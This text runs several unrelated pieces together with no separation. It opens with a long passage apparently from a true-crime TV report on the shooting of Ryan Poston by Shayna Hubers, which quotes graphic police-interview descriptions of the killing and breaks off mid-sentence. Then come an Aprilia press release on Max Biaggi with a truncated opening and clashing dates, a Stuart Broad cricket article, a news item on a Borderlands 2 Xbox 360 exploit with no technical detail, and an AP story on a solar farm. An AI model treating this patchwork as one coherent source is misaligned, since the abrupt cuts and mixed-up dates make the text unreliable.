[Police video] Shayna Hubers: And he was screaming at me, telling me I was a f---ing hillbilly; that he f---ing hates me.
By all accounts, Ryan -- who owned several guns and was licensed to carry -- had a habit of placing his handgun on the dining room table after coming home from work.
[Police video] Shayna Hubers:And I just picked up the gun. And in the middle of him doin' somethin' with his arm or saying somethin' crazy, I shot him.
This time she told police that she picked up the gun off the table while Ryan was yelling at her. But remember, Shayna had told the 911 operator a different story about wrestling the gun away from him:
[911 call] Shayna Hubers:...and he reached down and grabbed the gun and I grabbed it out of his hand and pulled the trigger.
But Shayna didn't stop at one bullet. As she described the final moments of Ryan's life, the details were beyond disturbing:
[Police video] Shayna Hubers:And he was laying with his face on the table, like twitching. And so I knew he was gonna die. [Police video] Shayna Hubers:And I walked around the table [cries]. And I think that's when I shot him... in the head. I shot him probably six times, shot him in the head. He fell onto the ground. He was, like, laying like this [she gets down on the floor]. His glasses were still on. He was twitching some more. I shot him a couple of more times just to make sure he was dead 'cause I didn't wanna watch him die.
"She didn't say that she was worried about him sufferin', she said that she couldn't stand to see that, is why she finished him off," said Birkenhauer.
"If someone's wounded on the ground, someone that you love, wouldn't you... attempt to resuscitate, to save, rather than shoot him?" Van Sant asked.
"Or call 911," the chief replied.
Instead, Shayna admitted she waited at least 10 minutes to call for help.
Prosecutor Michelle Snodgrass says Ryan was helpless.
"He laid there helpless and she walked over and shot him again and again and again. That's not self - defense," she explained.
[Police video] Shayna Hubers: I knew he was gonna die or have a completely deformed face. He's very vain... and wants to get a nose job; just that kinda person and I shot him right here... I gave him his nose job he wanted.
"My jaw hit the floor. I said to myself, 'did she really say that?'" said Chief Birkenhauer.
Police video: Watch suspect sing and dance
And Shayna had plenty more to say as she twirled around the room:
[Police video] Shayna Hubers:I did it! Yes, I did it!
Even when Shayna wasn't speaking, her actions spoke volumes to the investigators who were watching from the other room. Not only did she dance and twirl, she even sang "Amazing Grace."
"How do you respond to what we're looking at here -- is a woman in shock?" Van Sant asked Snodgrass as they watched the police video.
"Someone who is in shock does not pirouette," she replied. "Within hours of putting six bullets into Ryan Poston and watching him die, she danced and sang."
[Police video] Lt. Fornash:Here's what's gonna happen right now Shayna, OK, with everything that we have... um... we're gonna... I'm gonna ch... I'm gonna have to charge you with murder."
Shayna Hubers was arrested for murder:
[Police video] Shayna Hubers:What degree? Lt. Fornash:Murder. There's no degree.
Ryan had been shot six times.
"Pretty much every side of his body, he'd been shot at," said Birkenhauer.
"Doesn't that fit someone who fears for her life at that moment, that she's being attacked, that she has to use excessive force to put down the threat?" Van Sant asked.
"It more likely indicates somebody who's very angry," the police chief replied.
The investigation was far from over. Shayna claims Ryan had a dangerous temper -- and she can prove it.
TEXTS AND TEMPERS
Ryan Poston's friend, mentor and chess rival, attorney Ken Hawley, relished their competitive matches that would sometimes stretch out over days.
"The chess board today is how it was on the day Ryan died, mid-game with the pieces unchanged from where it was then," Hawley said. "And I haven't been able to let it go, really."
But now, that chess board sits in his office, frozen in place, a metaphor for a life cut short.
"When somebody is erased at an early age like that, what has the world lost by not having the benefit of what they would've come to be?" said Hawley.
Hawley and his legal assistant, Lori Zimmerman, had offices in the same building as Ryan. They witnessed Shayna's obsessive behavior - and the toll it took on him.
"If she couldn't get him on his cell phone, she'd call the receptionist and ask for him. Or she'd show up here. I mean, it was relentless," said Zimmerman.
"And she would text him 50 to 100 times a day," Hawley said. "She would just wear him down and exhaust him to the point where he would say, 'OK, Shayna.'...He kept doing the easy thing, which was staying with her."
When Ryan left work for the last time the evening of Oct. 12, 2012, he told Zimmerman about his big date.
"He said, with a big smile on his face, 'I have a date with Miss Ohio tonight,'" she said.
His news gave Zimmerman an uneasy feeling... about Shayna.
"And I said, 'I'm very nervous about what you're doing tonight because who knows what Shayna will do. You need to get her gone. I need you to call the police. I need you to call a locksmith. I need you to make it very final,'" said Zimmerman.
"And that was when he said, 'Hey Lori, I've got this. Don't you worry about me,'" she continued.
Hours later, Ryan was dead.
"I knew she was a stalker," Hawley said. "I thought she was perfectly capable of causing a scene. But murder?"
"What do you think happened the night he died?" Van Sant asked Ryan's friend, Allie Wagner.
"I think that she went over there, tried to... talk him out of breaking up with her, she replied."And I think he just stood his ground for the first time. I think he just said no, like, this isn't working....I think she picked up the gun and shot him."
"In her mind, this was a failure of sorts. And Shayna didn't fail," Snodgrass said. "Shayna Hubers is someone who is used to getting her way."
"The movie 'Fatal Attraction' comes to mind," Chief Birkenhauer said. "He was trying to break up with her....I think that Shayna was not gonna be broken up with."
Birkenhauer says the proof is in an astonishing trove of texts and emails investigators discovered -- in numbers unlike anything they'd ever seen.
"Hundreds of thousands of messages," Snodgrass said. "And most of the messages were from Shayna. For every one message Ryan sent, she probably sent 50. She couldn't stop herself."
The messages offered a look inside this tortured relationship.
Back in February 2012, eight months before Ryan's death, he wrote Shayna: "...you can tell people you broke up with me." Part of her reply: "I love you dearly. Far more than you deserve."
In March, Ryan pleaded: "Shayna, STOP texting me." And in April, he texted: "I NO LONGER HAVE THE PATIENCE TO DEAL WITH YOU."
"Now, Ryan's a bright guy; he's a lawyer. Why didn't he get a restraining order?" Van Sant asked Snodgrass.
"Well, under the law in Kentucky, he didn't qualify for a restraining order," she explained. "...the law in Kentucky basically required the two to have been living together or to have been married."
Instead, Ryan tried to take matters into his own hands.Another text in April - this time from Ryan to his cousin: "She came to my place on Sunday morning and I literally had to pick her up and THROW her into the hall."
Still, Ryan just couldn't close the door on their relationship. The two were back together that summer, but things soured again in late August.
"And Ryan texts Shayna: 'I'm turning off the phone and padlocking the door,'" Van Sant noted to Birkenhauer. "And then she keeps texting. There are at least 100 messages until finally some nine hours later, under this barrage, Ryan says: 'I'm not reading any of these. Stop.' What does that tell you about Shayna's behavior?"
"Well, this message goes back to, she's obsessed with Ryan Poston," he replied.
Shayna once again showed up at his door. She had her own key.
"Ryan had to leave his own condo and leave Shayna in there and go spend the night with his father, because she would not leave and she continued arguing with him," Birkenhauer continued.
While the prosecution insists Ryan was the one being stalked and living in fear, Shayna told police that at times, she was also afraid of him:
[Police video] Shayna Hubers: He keeps loaded guns in the house. Had picked up a gun, pointed it at my face as a joke. "What would you do if I..." [positioning her hand as if it were a gun]
"A lot of information is going to come out about this relationship and about what happened that night," defense attorney Jon Paul Rion said. "This was not a case of anything but self-defense. This is a case where Shayna was acting to save her own dignity and her own safety."
The defense team claims there are plenty of Facebook messages Ryan sent his friends that show he was a young man consumed by anger. He'd had a falling out with his ex-law partner, who was suing him.
"August 16, 2012, less than two months before he was shot and killed, he says: 'And I wanna rig explosives to everything I see,'" Van Sant read to Snodgrass.
"Well, I don't think anybody's denying that Ryan wasn't going through an emotional time," the prosecutor replied. "He was upset about being sued by his former law partner....His rage was never in any of these messages, directed at Shayna Hubers, not one."
"October 4, 2012. Ryan writes this: 'There's nothing I want more than to just scorch the f-ing earth and leave this entire city in a pile of burnt rubble,'" Van Sant read. "...he's fantasizing about doing a violent act. And just day later, according to Shayna, he attacks her."
"But that wasn't a violent act directed to any person, you have to put it in context. He does not say he wants to hurt a person," Snodgrass explained.
"Pressure's building up... He's got a girlfriend that won't let go," Van Sant pointed out. "He finally snaps. Why shouldn't we believe that?"
"There's no evidence at the crime scene to indicate that Ryan Poston went after Shayna Hubers," Birkenhauer said. "Nothing was knocked over."
"No signs of a struggle?" Van Sant asked Snodgrass.
"None," she replied.
"Are you buying this notion of self-defense at all?" Van Sant asked.
"Not one bit. Not one bit," said Snodgrass.
Photos of Shayna, taken after her arrest, show some light bruising. But police still insist there's no evidence of a life-or-death struggle. Now, the young woman suspected of cold-blooded murder heads to court to ask a judge to let her out of jail.
"A SENSELESS ACT"
"This case was always, to me, about a senseless act, senseless. Could never quite make sense of what happened on October 12th. I could never make sense of why Ryan Poston's life was ended," said prosecutor Michelle Snodgrass.
Why couldn't Shayna Hubers, a brilliant and beautiful grad student, simply walk away from her troubled relationship with Ryan Poston?
"I think it's really sad. It's kind of heartbreaking," said Shayna's childhood friend, Sarah Robinson.
Shayna Hubers' booking photo
Robinson barely recognizes the sweet, kind-hearted girl she once knew.
"I saw her mug shot. That was the first thing that I saw that really made me take a step back and just be like, 'Oh, my God," she said.
"What did it look like?" Van Sant asked.
"It looked like someone who was angry and like, someone who had just been through hell," Robinson replied.
It is June 10, 2014, almost two years since Ryan's death. Shayna has remained in jail the entire time. She has hired a new defense team led by David Mejia. At a bail hearing, they are joined by Shayna's mother, Sharon Hubers.
Sharon Hubers, a retired schoolteacher, is proud of her child's academic success.
"She graduated cum laude in three years at the University of Kentucky," she told Van Sant. "Shayna was... pursuing a Master's degree in school guidance counseling at the time of this tragedy."
"And what do you want people to know after reading that," Van Sant asked. "What do you want them to know in relation to this case?"
"Shayna Hubers is not a child, a girl, a person that would murder someone; that would wake up and say, 'OK, I'm going to shoot somebody,'" Sharon Hubers replied.
"And I want the world to know who Shayna is. And I want them to hear it from her mother," she tearfully continued.
Through Sharon Hubers' testimony, we also learn more about the 24 hours leading up to Ryan's death.
On Thursday, Oct. 11, 2012 - the night before Ryan died-- the vice-presidential candidates were slugging it out in a televised debate. Ryan brought Shayna over to his mother and stepfather's place to watch it, and then she slept over at his condo.
"If he wants to break up with her, talk about mixed signals. Why is she staying the night at his place?" Van Sant asked Snodgrass.
"That is a question that I think a lot of people want an answer to," she replied. "I don't know if it was part of Ryan's attempt to let her down easy. I just don't know."
Ryan had already said he didn't want to see her that weekend. Perhaps that's why a distraught Shayna called her mother from Ryan's shortly after 3 a.m.
"Was she emotional? Upset?" Van Sant asked Sharon Hubers.
"Yes, she wanted mama," she replied. "I knew something was wrong."
Sharon Hubers says she met up with her daughter at Ryan's place around 5:30 that morning.
"When he woke up he saw that Shayna Hubers' mom was inside his condo," said Snodgrass.
"Shayna's mom was inside his condo?" Van Sant asked.
"Absolutely," Snodgrass replied.
"Had come in on her own?"
"In the middle of the night had driven from Lexington to sit with her daughter," said Snodgrass.
"She wanted to lay on the couch and put her feet in my lap. And she did," said Sharon Hubers.
Asked what Shayna's relationship with her mother was like, Robinson told Van Sant, "I think she was very close to her mom. I think her mom, for a good portion of her life, could've very well been her best friend."
"That child has been a blessing to me. She's my whole life," Sharon Hubers told Van Sant in tears.
Sharon Hubers would like her daughter to be released to her custody. But prosecutor Michelle Snodgrass believes Shayna is a flight risk because of what she told police:
[Police video] Shayna Hubers: A part of me wanted to get my keys, and get in my car, and leave. Because I knew my word against his and he's dead. You know, how is anyone else to know that it's self-defense, you know?"
To get bail, Shayna needs to convince the judge that she's not a flight risk, and, despite shooting Ryan, not a threat to society. On the stand, she paints a picture of herself as a model girlfriend.
"Ryan was going through a lot," she said in court. "And he needed moral support. And I was always good to him."
But she also suggests she had a reason to fear him - claiming Ryan was obsessed with guns.
"Wherever you were in the house, you were always at an arm's length from a gun or a weapon of some sort," Shayna said on the stand.
"And that concerned you," Van Sant noted to Sharon Hubers.
"Oh, yes. I mean, just laying everywhere. He'd pick one up and shoot a book on a shelf or something. And did that with Shayna in the condo on numerous occasions," she said.
"Is it true that Ryan on at least one occasion did target practice inside his own condo?" Van Sant asked Snodgrass.
"We don't know if he did target practice inside his own condo. We do know that there was a book that had, you know, wood on it and some holes," she replied.
"Bullet holes?" Van Sant asked.
"Yes," said Snodgrass.
But Ryan's friend, Matt Herren, insists he was a responsible gun owner.
"He was always careful in his handling of firearms," he said. "It was never something that I worried about."
But Shayna insists she was worried enough to shoot Ryan in self-defense. And she thought that when she explained it to police that night, they would release her.
"I believed in my innocence. And I wanted to see my mother and go home," she told the court.
Now, the witness stand is about to turn into the hot seat.
SHAYNA TAKES THE STAND
Ryan Poston's volatile relationship with Shayna Hubers had become a house of mirrors--nothing was as it appeared. His friend, Lori Zimmerman, says that while the couple appeared to have reconciled in the weeks before his death, their romance was rocky.
"He wasn't happy about dating Shayna Hubers again," Zimmerman explained. "From the very start, he was working to not date Shayna Hubers again."
Ryan's neighbor, Nikki Carnes, says from what she witnessed in the months leading up to Ryan's death, the relationship was toxic.
"I was awoken out of my sleep by some screaming and yelling outside and they were arguing... this is something that happened quite often," she said.
"Was this a nasty argument?" Van Sant asked.
"Yeah," Carnes replied.
"Everybody has a breaking point. Had Ryan reached his?" Van Sant asked prosecutor Michelle Snodgrass.
"I think Shayna reached hers," she replied.
Snodgrass believes rejection and rage sent Shayna over the edge. The prosecutor confronts her about Ryan's repeated attempts to break up with her:
Prosecutor Snodgrass: Did he invite you over? Shayna Hubers: Which night? Prosecutor Snodgrass: Well, let's say the night you put six bullets in him, how about that night? Did he invite you over that night?
"They'd broken up time and time again and gotten back together. Why did she get violent this time?" Van Sant asked Birkenhauer.
"That's a good question," he replied. "I think that she believed it was over for good, and she wasn't gonna have that."
The fireworks continue at the bail hearing over Shayna's different accounts of how Ryan's gun ended up in her hands:
Prosecutor Snodgrass: You told 911 that you had to grab the gun out of Mr. Poston's hands? Is that correct? Shayna Hubers: I did say that. Prosecutor Snodgrass: But you told the police something different, didn't you? [Police video] Shayna Hubers: It was a handgun that I used. The gun was this big. I picked it up off the table. I did have to release the safety. I did. I remember it now; I can see it in my mind."
"This is a Sig Sauer P238.380 caliber semiautomatic handgun. This is the weapon that was used in the shooting of Ryan Poston," Chief Birkenhauer demonstrated in a gun lab. "She released the safety, pointed the gun at Ryan Poston, and shot him in the right side of the head."
Birkenhauer believes Shayna's admission that she released the safety on the gun is evidence of premeditation.
"I believe that as soon as she released the safety, she made the decision that she was gonna kill him," he told Van Sant. "It is a sign, in my opinion, that she had time to think about it."
"Show me how she released the safety," Van Sant asked.
"The safety, which right there, you can't pull the trigger," Birkenhauer demonstrated. "In order to make this gun operate and full magazine, a bullet in the chamber, you have to release the safety [click]. Now the gun's ready to go and then you just pull the trigger."
"It is an extra step that you have to think about," the chief added.
The gun itself also contained critical forensic evidence: a trace of Ryan's blood.
"And what did that tell you?" Van Sant asked the police chief.
"One or more of the shots were so close to the body when the trigger was pulled and the bullet went in, the blood came out and it landed on the gun," he replied.
Meaning, Birkenhauer believes, that Shayna moved closer to Ryan for the final kill shots.
"There was never a time after the first shot that he was on his feet," he said.
But Shayna now insists it was Ryan who was moving towards her, despite what she told police after Ryan's death.
"He was still moving. He was still coming towards me," she said on the stand.
Ryan's downstairs neighbors, Vernon and Doris West, heard gunshots that night -- but no fight.
"First two shots we thought were firecrackers. And then there was four more. And then we knew it was gunshots," said Doris West.
"And what was the sequence of the shots?" Van Sant asked.
"Bang, bang. Bang, bang, bang, bang," she replied.
"Did either of you hear any arguing in that condo above you? Did you hear any shouting?" Van Sant asked the couple.
"Never," said Doris West.
"Never did, never did," added Vernon West.
"If there had been a fight going on up there, physical struggle between the two of them, Shayna being thrown across the floor, would you have heard it?"
"Yes," Doris West replied.
"I believe I would," said Vernon West.
The prosecutor insists that even if Shayna initially thought Ryan was a danger to her, she didn't need to keep shooting him.
"She had the door behind her with no obstructions. Why didn't she just go?" said Snodgrass.
The defense maintains that Kentucky's so-called "stand your ground" law says "a person does not have a duty to retreat prior to the use of deadly physical force." But the prosecutor believes Shayna's decision to keep shooting proves a murderous intent.
"She knew that Ryan Poston had somewhere else that he had to be and someone else that he was meeting, and she wasn't gonna let that happen," said Snodgrass.
In his questioning of Shayna, defense attorney David Mejia turns the table on the prosecution, driving home Shayna's contention that she had to use deadly force to save herself:
Defense attorney David Mejia: Now what did you believe would happen if he got up after having been shot twice? Shayna Hubers: He would shoot me; he would hurt me.
"As you well know, Shayna has been portrayed as strangely obsessive, a liar, a murderer," Van Sant noted to Sharon Hubers.
"It's been horrible. She grew up in the church," she said. "She's not a murderer."
"And the word evil has been used to describe your daughter," said Van Sant.
"She's far from evil," Sharon Hubers said. "Shayna has a heart of gold. She's like her mommy....a loving spirit. That's what I want the world to know."
In the end, Judge Fred Stine sets bail at $1.5 million -- too much for Shayna's parents to afford. Now, as the case heads to trial, how will the defense team overcome the one witness who could destroy any claims of self-defense? That witness -- the twirling, singing, loquacious Shayna Hubers.
[Police video] Shayna Hubers: If you go to jail, are you allowed to keep your phone?
PART TWO
SELF-DEFENSE OR MURDER?
In April 2015, two-and-a-half years after Shayna Hubers gunned down her on-again, off-again boyfriend Ryan Poston, her trial is set to begin. Central to both the prosecution and the defense will be what Shayna told police.
[Police video] Shayna Hubers: And I just picked up the gun and in the middle of him doing something with his arm or saying something crazy, I shot him.
Shayna claims she shot Ryan in self-defense during a heated confrontation at his condo.
"Shayna says this is a case of self-defense. What do you say?" "48 Hours" correspondent Peter Van Sant asked prosecutor Michelle Snodgrass.
"It's a case of murder, plain and simple. Sometimes it can be that simple," she replied.
Ryan Poston and Shayna Hubers
Prosecutor Snodgrass contends that the only person whose life was in danger on Oct. 12, 2012, was Ryan Poston.
[Police video] Shayna Hubers: I think in the midst of that my love turned to hate.
"'My love turned to hate.' I think at that point in time we knew what Shayna Hubers was thinking. And it certainly wasn't that she needed to act out of fear. She acted out of hate," said Snodgrass.
Police video: Murder suspect asks, "Will anybody want to marry me?
Prosecutors say trouble had been brewing long before that tragic day. Ryan's cousin, Carissa Carlisle -- who was also Shayna's friend -- testified about the tumultuous relationship.
"I believe that Shayna wanted more from the relationship than he wanted or was willing to give," Carlisle told the court.
But Carlisle says Shayna would not get the message.
"'He said to me, "This is getting to be restraining order level crazy. I'm not kidding... You need to talk to her,"'" Carlisle read aloud on the stand from a list of texts. "'She needs help, and I say that without exaggeration. She just really needs help.'"
"What did you learn about Shayna's personality?" Van Sant asked Highland Heights, Kentucky, Police Chief Bill Birkenhauer.
"The word "obsessive" is-- is a good word for her," he replied.
An obsession that Birkenhauer says can be seen in the thousands of text messages Shayna sent Ryan.
"And we know from text messages back and forth that when Ryan would end it sometimes, Shayna would just show back up and not leave," he explained.
"Refuse to leave?" Van Sant asked.
"Yes, refuse to leave," the chief replied.
By the fall of 2012, investigators believe Shayna was nearing a breaking point. Eleven days before the shooting, Shayna sent a friend an ominous text:
Chief Birkenhauer: "Ryan doesn't love or care....He's an evil person." Prosecutor Snodgrass: And what does she say to her friend right after she calls Ryan Poston an evil person? Chief Birkenhauer: She says when she "goes to a shooting range with Ryan tonight she wants to turn around shoot and kill him and play like it's an accident."
Shayna Hubers
Shayna texted similar disturbing comments to another friend and sent a gun-toting picture.
"I think that her obsession with Ryan absolutely took a turn around this time," Snodgrass told Van Sant. "She was already making a plan to make sure Ryan did not leave her."
On Oct. 12, 2012, Ryan left work and headed home. The State believes Shayna confronted him at his condo because Ryan had told her he didn't want to see her that weekend. Although investigators don't doubt an argument took place, they saw no evidence of the violent struggle Shayna had described.
[Police video] Shayna Hubers: He was throwing me around the room, like picking me up and like had my face and stuff...
Shayna claimed Ryan had also thrown her against a bookshelf.
Shayna claimed that Ryan threw her across the room and into the bookshelf. Investigators say there were no signs of a violent fight. Of particular significance to investigators are the bullets lined on the bookshelf that are still standing upright. Highland Heights Police Dept.
"As you can see, this bookcase is covered with items that would have shifted," Snodgrass showed Van Sant. "A number of pipes along that shelf, some bullets on this shelf-- and if you look at this photograph that shows a little bit of a closer angle, none of them are disturbed."
But what really made investigators skeptical about Shayna's story was her claim that at one point during their clash, Ryan had locked himself in his bedroom.
"If someone is assaulting you, why are they the one to escape?" Snodgrass noted.
Prosecutor Snodgrass: So what was Miss Hubers Googling how to do? Chief Birkenhauer: First Googled how to unlock a house door with a bobby pin. That was a Google search.
"She found a way to unlock his bedroom door and get in there," said Snodgrass.
By now, the argument had moved into the dining room with Ryan on one side of the table and Shayna standing on the other side. Ryan's loaded handgun was on the table.
[Police video] Shayna Hubers: And he was screaming at me, telling me I was a f---ing hillbilly; that he f---ing hates me.
Police video: Murder suspect talks and talks and talks
The jury would hear Shayna's own account of the shooting.
[Police video] Shayna Hubers: And he had his hand on the table and he wasn't completely standing up---he was like this, he was sitting ---he was... when I shot him ---and he went like this literally," [sits and hits head on table].That's when I knew he was dead or close to it -- and twitching.
Despite Shayna's description that Ryan was nearly dead after the first shot, she went on to shoot him five more times. But the defense maintains Ryan was still a threat.
"He was moving when these shots were fired," defense attorney David Mejia told the court.
The prosecution doesn't buy it, and they say they have the science to prove it.
Forensic expert Howard Ryan testifies that Shayna's first shot was to Ryan Poston's head -- a significant fact because there was no blood on the front of his shirt.
"If he was in an upright position, the gravity would have brought it down, straight down the shirt through the bottom of the shirt to the pants," he testified.
Using the very blood-stained table taken from Ryan Poston's condo, Snodgrass demonstrates why investigators are convinced that Ryan was sitting and never stood up after the first shot.
"When she shoots him in the forehead, at that point in time, his head goes down on the table. As you can see that exposes the upper portion of his right back which we believe was the second shot. At the same time, as well, his right arm is dangling which again opens up the area where the third shot occurred which was right under his arm," Snodgrass demonstrated for Van Sant.
"And where's his body going?" Van Sant asked.
"And then at that point in time, Ryan starts to fall out of the chair," Snodgrass explained. "He ultimately ends up laying on the floor."
While Ryan was down on the floor, Snodgrass says Shayna then finished him off.
"He was helpless," the prosecutor said. "That's not self-defense."
To bolster their case, the prosecution calls three jailhouse informants who befriended Shayna behind bars.
The women, convicted felons who have a history of drug abuse and multiple arrests, say they came forward because Shayna had shown no remorse. They deny receiving any special treatment for their testimony:
Prosecutor Snodgrass: What did she say had really happened? Holly Nivens: What really happened? That she was the aggressor in the fight. Prosecutor Snodgrass: Did she talk to you at all about what she thought was going to happen when she came to court?
Cecily Miller: She said she was gonna plead insanity, but then she said that she's |
GI PREPARES FOR HIS SECOND WILD CARD OF THE SEASON WITH APRILIA AT SEPANG
HEAT, RAIN AND A TRACK TO LEARN DID NOT STOP THE SIX-TIME WORLD CHAMPION
Sepang (Malaysia), 24 March 2015 – Max Biaggi's return to the track and Aprilia at Misano Adriatico raised the enthusiasm of the fans and staff, especially considering the absolutely stellar performance. The second chance to see the six-time World Champion in action is scheduled for the weekend of 2 August when the number 3 RSV4 RF will take on the second wild card of the season on the Malaysian track of Sepang in the tenth WSBK round.
Precisely to prepare for this task, Max Biaggi and the Aprilia Racing test team conducted 4 days of tests at Sepang. This is a good opportunity for the Roman champion to get his bearings on a track where he has not raced for ten years and even then, never astride a Superbike. Unfortunately the unfavourable weather and a few technical problems kept Max from carrying out all of the scheduled work, postponing further tests for the race weekend.
Max Biaggi: “Unfortunately they were some unlucky tests. For 3 out of the 4 days we had available it rained. Of course I had to take a spill and we also had a couple technical problems that slowed down my work, but those are things that are just a part of racing. We hope to be more lucky next week. Sepang is still an exciting track, but the only black spot is that I found the asphalt to be rather more bumpy that I remembered it.”
Romano Albesiano (Aprilia Racing Manager): “Max hadn't been on this track for a long time, so that's why it was important to conduct these tests at Sepang. The nice result from Misano mustn't make us forget that Max has been out of racing for almost three years and certain mechanisms need to be recovered. Now our attention is entirely on next week. Since we can never quite take full advantage of the practice sessions, it will be important to continue our work from these past few days during the race weekend as well.”England may have to "play on the egos" of Australia's batsmen if they are going to win the Ashes, and Stuart Broad feels he is just the man to do so.
While Broad has produced several series-defining Ashes spells in England, his memories of Australia are less positive. He was forced home after injuring himself in the second Test of the 2010-11 series and, despite bowling well in 2013-14, when he claimed 21 wickets at a cost of 27.52 apiece, he was part of the side whitewashed 5-0.
But while Broad admits he bowled "like a drain" in the warm-up game in Perth, he feels he has the game to succeed in Australia and insists "my time is coming".
England accept they do not have the weapons "to blast" Australia out. But what they - and certainly Broad and James Anderson - can do is bowl tight for long periods of time and test the patience of Australia's batsman.
Broad succumbs to Root joke Stuart Broad has revealed how he was the victim of a practical joke from England captain, Joe Root, at the start of the tour. "He stuffed me out of sight," Broad said. "There's an Aussie Rules player called Nathan Broad who had been involved in some scandal or other. Anyway, Rooty put all the papers lined up together just with the 'Broad in sexting scandal' headline showing and sent a picture to me and Neil Fairbrother [the former England batsman, who is now Broad, Root and Ben Stokes' manager], who has obviously had a tough couple of months.
"I woke up with five different papers saying 'Broad in scandal' and thought, 'Oh no, what have I done?'
"But then the papers called him 'Average Joe' the next day, so it came back to bite him."
"We have to look at what we do best as a group," Broad said. "We're not going to blast the Australians out. We don't have a Brett Lee-type bowler who can bowl 95mph reverse-swinging yorkers. We're not going to blast Australia out like Andrew Flintoff and Steve Harmison did in 2005.
"We have to do what we do. We have to adjust our lengths a bit - if you bowl that slightly fuller length, you get belted, as we found out at the WACA the other day - set slightly more defensive fields and bang out a length more often than not like Glenn McGrath used to. You have to bowl a heavy length here to be threatening.
"I don't know if playing on egos is the right way to say it, but if you can cut off a few of their boundaries then you have more chance of them making a mistake. I don't want to sound as if this is a negative plan because, although it always looks great to have five slips and a gully, is that playing to our strengths on these pitches?
"We had a theory in 2015-16 in South Africa that when a new batsman came in, we'd swarm them for the first 15 balls or so. That way, if they make any mistake, they are out. And if they score 20 off 15 balls, you can always drag it back.
"I'd like to do a similar thing again. If any world-class batsman is going to make a mistake, it is going to be in the first 20 minutes. If they drive you through the covers three times, it doesn't matter but then settle into a more defensive field."
It is a methodology endorsed by the England coach. Trevor Bayliss, who worked with several of the Australian team during his period with New South Wales and Sydney Sixers, agrees that, if they are frustrated, they can be lured into loose strokes.
"The Australian players like to play their shots," Bayliss said. "That's the way they've played for a number of years.
"Any team where the batters play shots, especially if there's not much in the wicket, you have to try and keep things tight, frustrate them and try and make them go after the wrong ball. The Australian wickets are flatter than a lot of other wickets around the world. That could be part of our line of attack."
Stuart Broad and James Anderson prepare for England's pink-ball training session Getty Images
While attrition might prove to be a feature of England's attack, Broad still hopes he has a match-winning spell or two within him. Indeed, he feels he might have had one during the English season but was let down by some dropped catches.
"I think I do have a match-winning spell in me, yes," he said. "Luck probably wasn't with me during the summer. I know that if I get wickets in the first two or three overs of a spell, the likelihood of me picking up three or four is quite high. It was just one of those summers that catches seemed to go down so I never got into one of those spells. We know we have to take our catches to win here so there's a lot of work going into that.
"I feel like I'm ready for one of those spells again. I've done a lot of work over the last eight weeks and straightened my run-up a huge amount to get my seam and fingers right behind the ball for the bounce. I don't want to swing it, it will be against my strengths to come here and bowl a full length looking to swing the Kookaburra. I want to do what McGrath and Josh Hazlewood do: bash away and bring in both sides of the bat. I've done some good work. I feel like my time is coming."
Broad has braced himself for a hostile reception from Australian crowds, though. He took some fearful abuse in 2013-14, with the papers referring to him as "Stuart Fraud" - and one refusing to show anything but a silhouette of him - and tens of thousands of spectators, in Brisbane in particular, chanting "Broad is a w***er" whenever he was involved in play. And quite often when he wasn't.
"I'm building myself up for it," he said. "I think I might miss it a little bit if nobody said anything. You're better off getting jeered than nothing. At least if you're jeered, someone has heard of you or you've done something in an Ashes series.
"I read Sir Alex Ferguson's book the last time I was here and he said that United fans used to give Patrick Vieira a lot of stick because they felt threatened by him. I took it that way because it was better for my mindset. Whether the Australians actually thought that, you'd have to ask them.
"It feels different already on this trip. The day after we arrived I walked down to breakfast and there was a picture on the back page of the paper with me having a selfie with an England fan. So actually seeing my face in a paper over here was a new experience. The last time I was 'Stuart Fraud'. So they are spelling my name right, we're already on to a winner.
"But yes, if you're an England cricketer in Australia, you have to prepare yourself for a bit. Everyone has to brace themselves for it. It is a great part of the rivalry. The stick Mitchell Johnson got at Edgbaston was pretty lively. Maybe not as abusive, but quite lively.
"It's as close as we get to being a Premier League footballer playing away from home. It's like being a Manchester United player at Anfield. It's exciting. It's a great feeling. It's not something you're going to get when you retire. You have to remember running out on a sports field with thousands of people jeering and cheering, because those moments don't last forever."Borderlands 2 hackers “sabotaging characters” on Xbox 360
Borderlands 2 players seem to be leading an uneasy existence. First, they had to deal with that nasty rank reset bug, which deleted badass rank and the perks associated with it across all characters, and now, those playing on Xbox 360 are having to deal with a few unsavory folks. Gearbox has warned Borderlands 2 players on the Gearbox forums of a few individuals who are sabotaging others’ characters through the use of an (obviously) malicious exploit.
“Recently a few users have begun violating the Xbox Live Code of Conduct by using an external application to maliciously disrupt the experience and sabotage characters of legitimate Borderlands 2 players on Xbox 360,” Gearbox community manager Chris Faylor wrote on the Gearbox forums. The studio has submitted a patch that will fix this unnamed exploit to Microsoft, but of course, the certification process for patches can take a couple of weeks. Therefore, there are few things that Gearbox recommends you do in the meantime to avoid having you characters tampered with.
Gearbox says that while we’re waiting for the patch to arrive, gamers should only play in private Xbox Live games with players they know. That way, you can avoid letting any of these malicious players into your game, which seems to be the trigger for the issue. Also remember to always leave your game by selecting the “Save and Quit” option from the menu, and if you happen to bite the dust during play and you’re booted back out to the menu instead of respawning in-game, select “Continue” from the main menu immediately to avoid any unwanted character loss. It’s worth pointing out that this exploit seems to only affect those playing on Xbox 360 and not those playing Borderlands 2 on PC or PS3.
At this point, we’re still not clear on what the issue it is or what it does exactly, but after reading through some of the complaints on the 24-page thread over at the Gearbox forums, we’re positive that you don’t want to find yourself on the wrong end of this exploit. Some players are reporting that their character saves have been wiped entirely, which would not be a pleasant experience for anyone. Have you fallen victim to this exploit, or are your characters still intact?RIVERSIDE (AP) — One of the nation’s largest solar projects was dedicated Monday in the Riverside County desert, as California rushes to expand its use of green power to meet the state’s renewable energy requirements.
The dedication of the Desert Sunlight Solar Farm comes about a month after Gov. Jerry Brown called on the state to increase renewable electricity use to 50 percent by 2030, up from the current goal of 33 percent by 2020.
“Solar projects like Desert Sunlight are helping create American jobs, develop domestic renewable energy and cut carbon pollution,” Interior Secretary Sally Jewell said in a statement. “I applaud the project proponents for their vision and entrepreneurial spirit to build this solar project, and commend Gov. Brown for implementing policies that take action on climate change and help move our nation toward a renewable energy future.”
The plant, which uses photovoltaic panels, is expected to produce enough power for about 160,000 homes. Constructed on about 4,000 acres of federal land, it is owned by NextEra Energy Resources, GE Energy Financial Services and Sumitomo Corporation of America. First Solar is building and operating the plant, the California Energy Commission said.
Nationwide, the U.S. Bureau of Land Management has approved 52 large renewable energy projects since 2009, including 29 solar plants.
Desert Sunlight benefited from about $1.5 billion in federal loan guarantees. The Energy Department said in a report Monday that the agency provided $4.6 billion in loan guarantees to support five large photovoltaic solar projects in the Southwest, at a time when developers were struggling to obtain financing.
